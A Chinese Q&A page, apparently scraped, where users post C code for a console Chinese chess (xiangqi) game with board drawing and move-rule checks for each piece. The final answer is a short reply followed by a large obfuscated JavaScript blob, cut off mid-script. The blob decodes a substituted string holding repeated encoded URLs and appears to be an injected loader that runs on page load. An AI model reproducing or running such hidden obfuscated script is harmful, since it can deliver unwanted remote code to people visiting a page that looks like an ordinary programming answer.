急需用c语言写中国象棋的代码,只要红色方布局和走棋

急需用c语言写中国象棋的代码,只要红色方布局和走棋谢谢
2025年03月14日 00:28
有4个网友回答
网友(1):

接上面中国象棋代码:

if( check_turn == 12)    //相的走法规范

         { if((x == check_x && y == check_y))

              {temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

                printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);

               }

           else if( x >= 15 &&(abs(y - check_y) == 8 && abs(x - check_x) == 4))

               {if((x == 22 && (y == 11 || y == 27))||(x == 18 &&

                  ( y == 3 || y == 19 || y == 35)) ||(x == 14 && (y == 11|| y ==27)))

                      { if( map[(x+check_x)/2][(y+check_y)/2] == '+')                                                  check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                        else {printf("棋子卡住,不可执行"); Sleep(500); }  }

                       else {printf("不合法的下法\n");Sleep(500); }

                    }

                  else {printf("不合法的下法\n"); Sleep(500); } 

                }

         if( check_turn == 13)    //士的走法规范

            { if((x == check_x && y == check_y))

                {temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

                 printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);  }

      else if( abs(x - check_x)== 2 && abs( y - check_y) == 4 &&((x==22 &&(y == 15 

          || y == 23)) || ( x == 20 && y == 19) || ( x == 18 && ( y == 15 || y == 23))))                      {check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

       else { printf("不合法的下法\n"); Sleep(500); }   }

       if( check_turn == 14)    //将的走法规范

           { if((x == check_x && y == check_y))

                { temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

                   printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);  }

  else if( ((abs(x - check_x)== 2 && abs( y - check_y) == 0 )|| (abs(x - check_x)== 0 

    &&abs( y - check_y) == 4)) && x >= 18 && x <= 22 && y >= 15 && y <= 23 )

          { check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

             else { printf("不合法的下法\n"); Sleep(500); }   }

 if( check_turn == 15)       //炮的走法规范

       { if((x == check_x && y == check_y))

          {  temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

             printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);  }

         else if( y == check_y )

              { int check_pao = 0;

                if( x > check_x)

                   { for(j = check_x + 2; j<= x ;j = j+ 2)

                      { if(map[j][y] == '+' );  else  check_pao++;}

                    if(check_pao == 1&& temp == '+')   // 直线行走但不可吃棋子                                 check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                  else if( check_pao == 2 && temp != '+')  //跳跃吃棋                                                 check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                 else { printf("不合法的下法\n"); Sleep(500); }  }

              else { for(j = check_x - 2; j>= x;j = j - 2)

               { if(map[j][y] == '+' );  else { check_pao++;} }

                  if(check_pao == 1&& temp == '+')   //直线行走但不可吃棋子                                  check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                   else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                            check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                else { printf("不合法的下法\n"); Sleep(500); }  }

               }

             else if( x == check_x )

               { int check_pao = 0;

                  if( y > check_y)

                     { for(j = check_y + 4; j<= y ;j = j+4)

                        { if(map[x][j] == '+' );  else    check_pao++;}

                     if(check_pao == 1&& temp == '+')  //直线行走但不可吃棋子                                   check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                   else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                                 check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                   else { printf("不合法的下法\n"); Sleep(500); }  }

                else {for(j = check_y - 4; j>= y;j = j - 4)

                    {if(map[x][j] == '+' );  else  check_pao++;}

                       if(check_pao == 1&& temp == '+')  //直线行走但不可吃棋子                                  check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                 else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                                    check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

                 else { printf("不合法的下法\n"); Sleep(500); }  }

              }

            else { printf("不合法的下法\n");Sleep(500); }

           }

         if( check_turn == 16)    //卒的走法规范

            { if ( x >= 14)

            { if((x == check_x && y == check_y))

                {  temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

                   printf("三思而后行\n"); printf("还是你的回合");  Sleep(500);  }

      else if( x == check_x - 2 && y == check_y)                                                     check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

    else { printf("不合法的下法\n"); Sleep(500); }       

  }

 else{ if((x == check_x && y == check_y))

    {  temp = turn;  temp1 = turn1;  turn = 'O';  turn1 = 'N';  num--;

      printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);  }

   else if((x - check_x == 0 && abs(y-check_y) ==4) ||( x - check_x == -2

          && abs(y-check_y) == 0))                                           check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

   else { printf("不合法的下法\n"); Sleep(500); }   }

    }      

 }

 else  { if( check_turn == 20)  //车的走法规范 (帅方)

    { if((x == check_x && y == check_y))

       {  temp = turn;  temp1 = turn1; turn = 'O'; turn1 = 'N';  num--;

          printf("三思而后行\n"); printf("还是你的回合"); Sleep(500);  }

   else if( y == check_y )

       { if( x > check_x)

         { for(j = check_x + 2; j < x;j = j + 2)

           { if(map[j][y] == '+'); else {printf("不合法的下法\n"); Sleep(500); break; } }

    if( j >= x) check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

    }

   if( x < check_x)

      { for(j = check_x - 2; j > x;j = j - 2)

         { if(map[j][y] == '+'); else { printf("不合法的下法\n"); Sleep(500); break; } }

   if( j <= x) check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

   }       

 }

 else if(  x == check_x  )

     { if( y > check_y)

       { for(j = check_y + 4; j < y;j = j + 4)

        { if(map[x][j] == '+'); else { printf("不合法的下法\n"); Sleep(500); break; } }

     if( j >= y) check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

    }

   if( y < check_y)

     { for(j = check_y - 4; j > y;j = j - 4)

       { if(map[x][j] == '+'); else { printf("不合法的下法\n");Sleep(500); break; } }

   if( j <= y) check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

    }       

  }

 else { printf("不合法的下法\n"); Sleep(500); }

  }

   if( check_turn == 21)    //马的走法规范

     { if((x == check_x && y == check_y))

       { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

          printf("三思而后行\n");printf("还是你的回合"); Sleep(500); }

    else if( (abs( x - check_x) == 2&& abs( y - check_y) == 8)&&

          map[check_x][(y+check_y)/2] =='+')

        { check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

   else if( (abs( x - check_x) == 4&& abs( y - check_y) == 4)&&

        map[(x + check_x)/2][check_y] == '+' )

     { check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

   else { printf("不合法的下法\n");Sleep(500); }  }

    if( check_turn == 22)    //相的走法规范

     { if((x == check_x && y == check_y))

        { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

           printf("三思而后行\n");printf("还是你的回合"); Sleep(500); }

       else if( x <= 12 && (abs(y - check_y) == 8 && abs(x - check_x) == 4))

       { if((x == 4 && (y == 11 || y == 27))||(x == 8 && ( y == 3 || y == 19 || y == 35))

         ||(x == 12 && (y == 11|| y ==27)))

         {  if( map[(x+check_x)/2][(y+check_y)/2] == '+')                                                   check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

     else { printf("棋子卡住,不可执行");Sleep(500); }  }

  else {printf("不合法的下法\n");Sleep(500); }

  }

  else { printf("不合法的下法\n");Sleep(500); }  }

   if( check_turn == 23)    //士的走法规范

    { if((x == check_x && y == check_y))

       { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

           printf("三思而后行\n");printf("还是你的回合"); Sleep(500);  }

     else if( abs(x - check_x)== 2 && abs( y - check_y) == 4 &&((x==4 &&

(y == 15 || y == 23)) || ( x == 6 && y == 19) || ( x == 8 && ( y == 15 || y == 23))))

       { check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

       else { printf("不合法的下法\n");Sleep(500); }  }

    if( check_turn == 24)    //将的走法规范

     { if((x == check_x && y == check_y))

        { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

           printf("三思而后行\n");printf("还是你的回合"); Sleep(500);  }

     else if( ((abs(x - check_x)== 2 && abs( y - check_y) == 0 )|| (abs(x - check_x)== 0   &&abs( y - check_y) == 4)) && x >= 4 && x <= 8 && y >= 15 && y <= 23 )

     { check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }

    else {printf("不合法的下法\n");Sleep(500); }  }

    if( check_turn == 25)    //炮的走法规范

       { if((x == check_x && y == check_y))

           { temp = turn;  temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

               printf("三思而后行\n");printf("还是你的回合"); Sleep(500);  }

        else if( y == check_y )

            { int check_pao = 0;

              if( x > check_x)

                { for(j = check_x + 2; j<= x ;j = j+ 2)

                  { if(map[j][y] == '+' );  else      check_pao++;}

                   if(check_pao == 1&& temp == '+')   //直线行走但不可吃棋子                                 check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

       else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                                       check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

       else { printf("不合法的下法\n");Sleep(500); }  }

       else { for(j = check_x - 2; j>= x;j = j - 2)

          { if(map[j][y] == '+' );  else { check_pao++;} }

              if(check_pao == 1&& temp== '+')   //直线行走但不可吃棋子                                   check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

         else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                                      check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

      else { printf("不合法的下法\n");Sleep(500); }  }

    }

   else if( x == check_x )

      { int check_pao = 0;

           if( y > check_y)

              { for(j = check_y + 4; j<= y ;j = j+4)

                  { if(map[x][j] == '+' );  else check_pao++;}

             if(check_pao == 1&& temp == '+')   //直线行走但不可吃棋                                              check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

           else if( check_pao == 2 && temp != '+')   //跳跃吃棋                                                 check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

           else { printf("不合法的下法\n");Sleep(500); }  }

       else { for(j = check_y - 4 ; j>= y;j = j - 4)

           { if(map[x][j] == '+' );  else  check_pao++;}

              if(check_pao ==1&& temp == '+')   //直线行走但不可吃棋子                                     check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

       else if( check_pao == 2&& temp != '+')  //跳跃吃棋                                                       check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

        else { printf("不合法的下法\n");Sleep(500); }  }

      }

    else { printf("不合法的下法\n");Sleep(500); }

     }      

     if( check_turn == 26)  //卒的走法规范

        { if( x <= 12)

          { if((x == check_x && y == check_y))

            { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

               printf("三思而后行\n"); printf("还是你的回合"); Sleep(500); }

      else if( x == check_x + 2 && y == check_y)                                               check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

    else { printf("不合法的下法\n");Sleep(500); }  }

    else{ if((x == check_x && y == check_y))

       { temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;

          printf("三思而后行\n");printf("还是你的回合"); Sleep(500);  }

    else if((x - check_x == 0 && abs(y-check_y) ==4) ||( x - check_x == 2

        && abs(y-check_y) == 0))                                                       check_main2(&temp,&temp1,&turn,&turn1,&num,&if_return,map);

   else { printf("不合法的下法\n");Sleep(500); }   }

     }

    }

   }

}

   system("cls");

   if( if_return) return;

   for(i = 0; i < 27; i++)puts(map[i]);

   }

  Sleep(5000);

}

int main( )

{ while(1)

    { xiangqi( );

      printf("\n  重来,请按键.\n");

      getch( );

    }

  return 0;

}

网友(2):

#include #include #include #include #include
int x,y,i,j,k,p,q, num = 1, round; //象棋游戏的全局变量
int place_x1 = 0,place_y1 = 0,place_x2 = 0,place_y2 = 0;
int check_x,check_y,check_turn; //基本参数
char ch, turn = 'O',turn1 = 'N',temp,temp1;
char check_1[9][3] ={"车","马","象","士","将","炮","兵","+-"}; //取棋子时只判断前8合法
char check_2[9][3] ={"车","马","相","仕","帅","炮","卒","+-"}; //下棋时多一空位合法
char check[3];
void check_main1(char* temp,char* temp1,char* turn,char* turn1,int *num,int *if_return,char map[100][100])
{ //(象棋函数 判断 将方 下棋是否合法
check[0] = *temp; check[1] = *temp1; check[2] = '\0'; char a,b;
for ( i = 0; i < 8; i++)
{ if ( strcmp(check_2[i],check) == 0)
{ *temp = *turn; *temp1 = *turn1; *turn = 'O'; *turn1 = 'N';
if( i < 7){ printf(" 帅方的%s被吃\n",check_2[i]); Sleep(500); } *num = *num + 1;
for( k = 4; k <= 8; k = k + 2) //判断 帅 是否死亡
{ for(j = 15; j <= 23; j= j+ 4)
{ if (map[k][j] == check_2[4][0] && map[k][j+1] == check_2[4][1])
{ place_x2 = k; place_y2 = j; break; } }
if( j <= 23) break;
}
if( k == 10)
{printf(" 帅 被将死 将方获得胜利\n"); printf("按任意键返回菜单");
getch( ); *if_return = 1; return;
}
for( k = 18; k <= 22; k = k + 2) //判断 将 是否死亡
{for(j = 15; j <= 23; j= j+ 4)
{if(map[k][j] == check_1[4][0] && map[k][j+1] == check_1[4][1])
{place_x1 = k; place_y1 = j; break; } }
if( j <= 23) break;
}
if ( k == 24)
{printf(" 将 被将死 帅方获得胜利\n"); printf("按任意键返回菜单");
getch( ); *if_return = 1; return;
}
if ( place_y1 == place_y2)
{for( k = place_x2 + 2; k <= place_x1 - 2; k = k +2) {if(map[k][place_y1] != '+') break;}
if( k == place_x1)
{if(round == 1) printf(" 将方对将 帅方胜利");
else if( round == 2) printf(" 帅方对将 将方胜利");
printf("按任意键返回菜单"); getch( ); *if_return = 1; return;
}
}
break;
}
} // for ( i = 0; i < 8; i++)循环结束
if( i == 8) {printf("不合法的走法\n"); Sleep(500); }
}
void check_main2(char* temp,char* temp1,char* turn,char* turn1,int *num,int *if_return,char map[100][100])
{ //象棋函数 判断 帅方 下棋是否合法
check[0] = *temp; check[1] = *temp1; check[2] = '\0'; char a,b;
for ( i = 0; i < 8; i++)
{if ( strcmp(check_1[i],check) == 0)
{ *temp = *turn; *temp1 = *turn1; *turn = 'O'; *turn1 = 'N';
if( i < 7) {printf(" 将方的%s被吃",check_1[i]); Sleep(500); } *num = *num + 1;
for( k = 4; k <= 8; k = k + 2) //判断 帅 是否死亡
{for(j = 15; j <= 23; j= j+ 4)
{if(map[k][j] == check_2[4][0] && map[k][j+1] == check_2[4][1])
{place_x2 = k; place_y2 = j; break; } }
if( j <= 23) break;
}
if( k == 10)
{printf(" 帅 被将死 将方获得胜利\n");printf("按任意键返回菜单"); getch( );
*if_return = 1; return;
}
for( k = 18; k <= 22; k = k + 2) //判断 将 是否死亡
{for(j = 15; j <= 23; j= j+ 4)
{if(map[k][j] == check_1[4][0] && map[k][j+1] == check_1[4][1])
{place_x1 = k; place_y1 = j; break; } }
if( j <= 23) break;
}
if( k == 24)
{printf(" 将 被将死 帅方获得胜利\n");printf("按任意键返回菜单"); getch( );
*if_return = 1; return; }
if( place_y1 == place_y2)
{for( k=place_x2 + 2; k <= place_x1 - 2; k=k +2) {if(map[k][place_y1] != '+') break; }
if( k == place_x1)
{if(round==1)printf(" 将方对将 帅方胜利");else if(round==2)printf(" 帅方对将 将方胜利");
printf("按任意键返回菜单"); getch( ); *if_return = 1; return; }
}
break;
}
} // for ( i = 0; i < 8; i++)循环结束
if( i == 8) {printf("不合法的走法\n"); Sleep(500); }
}
void xiangqi( ) //象棋主程序
{ char map[100][100]= { "[[===================================]]",
"[| ①将 【象棋】 ②帅 |]",
"[[===================================]]",
"[[-----------------------------------]]",
"[[ 车—-马—-相—-仕—-帅—-仕—-相—-马—-车]]",
"[[ | | | | \\ | / | | | | ]]",
"[[ +-—-+-—-+-—-+-—-+-—-+-—-+-—-+-—-+-]]",
"[[ | | | | / | \\ | | | | ]]",
"[[ +-—-炮—-+-—-+-—-+-—-+-—-+-—-炮—-+-]]",
"[[ | | | | | | | | | ]]",
"[[ 卒—-+-—-卒—-+-—-卒—-+-—-卒—-+-—-卒]]",
"[[ | | | | | | | | | ]]",
"[[ +-—-+-—-+-—-+-—-+-—-+-—-+-—-+-—-+-]]",
"[[===================================]]",
"[[ +-—-+-—-+-—-+-—-+-—-+-—-+-—-+-—-+-]]",
"[[ | | | | | | | | | ]]",
"[[ 兵—-+-—-兵—-+-—-兵—-+-—-兵—-+-—-兵]]",
"[[ | | | | | | | | | ]]",
"[[ +-—-炮—-+-—-+-—-+-—-+-—-+-—-炮—-+-]]",
"[[ | | | | \\ | / | | | | ]]",
"[[ +-—-+-—-+-—-+-—-+-—-+-—-+-—-+-—-+-]]",
"[[ | | | | / | \\ | | | | ]]",
"[[ 车—-马—-象—-士—-将—-士—-象—-马—-车]]",
"[[-----------------------------------]]",
"[[===================================]]"};
int if_return = 0;
system("mode con cols=45 lines=32"); //迷你界面
system("color 70");
printf("[[==================================]]\n");
printf("[[ -------------------------------- ]]\n");
printf("[[ | | ]]\n");
printf("[[ | 【<<游戏规则>>】 | ]]\n");
printf("[[ | | ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[ | 控制wasd双方轮流控制指针下棋| ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[ | 键盘输入大小写 ' M ' | ]]\n");
printf("[[ | 都视为确认下棋 | ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[ | 为了方便区分棋子 | ]]\n");
printf("[[ | 后手方全设为繁体复杂字体 | ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[ | 我已阅读规则,按任意键继续 | ]]\n");
printf("[[ |------------------------------| ]]\n");
printf("[[==================================]]\n");
getch( ); system("mode con cols=45 lines=32"); //迷你界面
system("color 70");
for ( i = 0; i < 27; i++){ puts(map[i]); Sleep(100); }
x = 6, y = 19; temp = map[x][y]; temp1 = map[x][y+1];
while(num)
{ if (num % 2 == 1 &&num / 2 % 2 == 0){ printf(" 现在是'将'的回合\n");round = 1; }
else if( num %2 == 1){ printf(" 现在轮到'帅'的回合了\n");round = 2; }
ch = getch( );
if ( ch == 's') //下移
{ if ( map[x+1][y]!= '-')
{map[x][y] =temp; map[x][y+1] = temp1; x = x + 2;
temp = map[x][y]; temp1 = map[x][y+1]; map[x][y] = turn; map[x][y+1] = turn1; }
}
else if ( ch == 'a') //左移
{ if (map[x][y-1]!=' ')
{map[x][y] =temp; map[x][y+1] = temp1; y = y - 4;
temp = map[x][y]; temp1 = map[x][y+1]; map[x][y] = turn; map[x][y+1] = turn1; }
}
else if ( ch == 'w') //上移
{ if ( map[x-1][y]!= '-')
{map[x][y] =temp; map[x][y+1] = temp1; x = x - 2; temp = map[x][y];
temp1 = map[x][y+1]; map[x][y] = turn; map[x][y+1] = turn1; }
}
else if ( ch == 'd') //右移
{ if (map[x][y+2]!=']')
{map[x][y] =temp; map[x][y+1] = temp1; y = y + 4; temp = map[x][y];
temp1 = map[x][y+1]; map[x][y] = turn; map[x][y+1] = turn1; }
}
else if( ch == 'm' || ch =='M') //M确认要移动的棋子,或确认要移到的目的地
{ if (num % 2 == 1 && temp != '+' && temp1 != '-') //取棋
{check[0] = temp; check[1] = temp1; check[2] = '\0';
if ( round == 1)
{ for ( i = 0; i < 7; i++) //将方
{ if ( strcmp(check_1[i],check) == 0)
{turn = temp; turn1 = temp1; temp = '+'; temp1 = '-';
check_x = x; check_y = y; check_turn = 10 + i; num++; break; }
}
if( i == 7){ printf("这不是你的棋子\n"); Sleep(500); }
}
else if( round == 2)
{for ( i = 0; i < 7; i++) //帅方
{ if( strcmp(check_2[i],check) == 0)
{turn = temp; turn1 = temp1; temp = '+'; temp1 = '-';
check_x = x; check_y = y; check_turn = 20 + i; num++; break; }
}
if( i == 7){ printf("这不是你的棋子\n"); Sleep(500); }
}
}
else if( num % 2 == 0) //放棋
{ char check_1[8][3] ={"车","马","象","士","将","炮","卒","+-"};
char check_2[8][3] ={"俥","马","相","仕","帅","軳","兵","+-"};
//中界 楚河上下坐标 12 15 往下2 往右4
if( check_turn < 20) //将方
{if( check_turn == 10) //车的走法规范
{ if((x == check_x && y == check_y))
{temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;
printf("三思而后行\n"); printf("还是你的回合"); Sleep(500); }
else if( y == check_y )
{ if( x > check_x)
{ for(j = check_x + 2; j < x;j = j + 2)
{ if(map[j][y] == '+'); else{printf("不合法的下法\n"); Sleep(500); break; } }
if( j >= x) check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);
}
if( x < check_x){ for(j = check_x - 2; j > x;j = j - 2)
{ if(map[j][y] == '+'); else{printf("不合法的下法\n"); Sleep(500); break; }
}
if( j <= x)check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);
}
}
else if( x == check_x )
{if( y > check_y)
{for(j = check_y + 4; j < y;j = j + 4)
{if(map[x][j] == '+'); else {printf("不合法的下法\n"); Sleep(500); break; }
}
if( j >= y) check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);
}
if( y < check_y)
{for(j = check_y - 4; j > y;j = j - 4)
{ if(map[x][j] == '+'); else { printf("不合法的下法\n"); Sleep(500); break; }
}
if( j <= y) check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map);
}
}
else { printf("不合法的下法\n"); Sleep(500); }
}
if( check_turn == 11) //马的走法规范
{if((x == check_x && y == check_y))
{ temp = turn; temp1 = turn1; turn = 'O'; turn1 = 'N'; num--;
printf("三思而后行\n"); printf("还是你的回合"); Sleep(500); }
else if( (abs( x - check_x) == 2&& abs( y - check_y) == 8)&& map[check_x][(y+check_y)/2] =='+')
{check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }
else if( (abs( x - check_x) == 4&& abs( y - check_y) == 4)&& map[(x + check_x)/2][check_y] == '+' )
{check_main1(&temp,&temp1,&turn,&turn1,&num,&if_return,map); }
else { printf("不合法的下法\n");Sleep(500); }
} //其余代码在后续

网友(3):

棋盘如果没有界面,那种有线和框的,就用0放在每个位置,当作一个位置,玩家1如果放下子的话,就将0变成1,玩家2放下棋子,0变成2
复杂的界面,就去找MFC、QT吧

struct stu //定义位置记录结构体
{
int x;
int y;
}weizhi;
int player=1;
int Q[20][20]={0}; //定义数组以记录落子情况

void drawqipan() //绘制棋盘及数据初始化
{
int i,j;
system("cls"); //清除屏幕
for(i=0;i<20;i++)
{
for(j=0;j<20;j++)
{
Q[i][j]=0;
printf("十");
}
printf("\n");
}
weizhi.x=0;weizhi.y=0; //程序数据初始化
gotoxy(0,0);
}

网友(4):

什么时候要?》

!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD 